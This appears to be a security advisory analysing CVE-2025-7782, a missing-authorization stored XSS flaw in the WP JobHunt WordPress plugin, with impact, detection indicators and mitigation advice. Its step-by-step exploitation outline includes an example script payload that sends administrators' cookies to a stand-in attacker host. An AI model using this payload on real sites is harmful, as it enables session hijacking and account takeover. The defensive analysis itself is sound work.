CVE-2025-7782: 
WordPress vulnerability analysis and mitigation

CVE-2025-7782 is a missing authorization vulnerability in the WP JobHunt plugin for WordPress (used by the JobCareer theme) that allows authenticated attackers to inject stored cross-site scripting (XSS) payloads into job application status fields. All versions up to and including 7.7 are affected. The vulnerability was published on December 20, 2025, and assigned by Wordfence. It carries a CVSS v3.1 base score of 7.6 (High) (Wordfence, Red Hat CVE).

The root cause is a missing capability check (CWE-862) on the cs_update_application_status_callback AJAX function within the WP JobHunt plugin. Because no authorization check validates whether the calling user has permission to modify application statuses, any authenticated user with Candidate-level access or above can invoke this function and supply arbitrary content in the status parameter. This allows the attacker to inject malicious JavaScript that is stored server-side and later rendered in the context of other users viewing job application records, constituting a stored XSS attack (Wordfence, ENISA EUVD).

Successful exploitation allows an authenticated attacker with minimal privileges (Candidate-level) to persistently inject malicious scripts into job application status fields visible to other users, including administrators. This can lead to session hijacking, credential theft, unauthorized administrative actions, or further site compromise if an administrator views the poisoned content. The confidentiality impact is rated High, with Low integrity and availability impacts (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported as of the time of disclosure. The EPSS score is approximately 0.038%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authentication at Candidate level or above, reducing the attack surface compared to unauthenticated vulnerabilities (Wordfence, Feedly).

1. Register or obtain a Candidate-level account on a WordPress site running WP JobHunt plugin version ≤ 7.7 (used with the JobCareer theme).
2. Apply for a job on the platform to create a job application record associated with any user.
3. Craft a malicious AJAX request targeting the cs_update_application_status_callback function, setting the status parameter to a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
4. Submit the request — because no capability check is enforced, the server accepts and stores the malicious payload in the application status field.
5. Wait for a privileged user (e.g., administrator or employer) to view the application, at which point the injected script executes in their browser, potentially stealing session cookies or performing actions on their behalf (Wordfence).

• Logs: WordPress access logs showing authenticated POST requests to wp-admin/admin-ajax.php with action=cs_update_application_status_callback from Candidate-level user accounts, especially with unusual or script-containing status parameter values.
• Database: Unexpected HTML or JavaScript content (e.g., <script>, onerror=, javascript:) stored in the job application status fields of the WordPress database (wp_posts or custom plugin tables).
• Network: Outbound requests from administrator browsers to unknown external domains shortly after viewing job application pages, potentially indicating cookie exfiltration.
• File System: No direct file system artifacts expected, as this is a stored XSS via database injection.

Users should update the WP JobHunt plugin to a version beyond 7.7 that includes a proper capability check on the cs_update_application_status_callback function. Site administrators should review the JobCareer theme vendor (ThemeForest) and plugin update channels for a patched release. As an interim workaround, restricting Candidate-level user registration or disabling the job application status update functionality via plugin settings can reduce exposure. Monitoring AJAX requests to admin-ajax.php for suspicious payloads is also advisable (Wordfence, ThemeForest).

Wordfence published the vulnerability in their threat intelligence database and included it in their weekly WordPress vulnerability report covering December 15, 2025 to January 4, 2026 (Wordfence Blog). RedPacket Security and several automated CVE tracking accounts on Bluesky and X (Twitter) flagged the disclosure shortly after publication. No significant independent researcher commentary or major media coverage has been identified beyond standard CVE aggregation.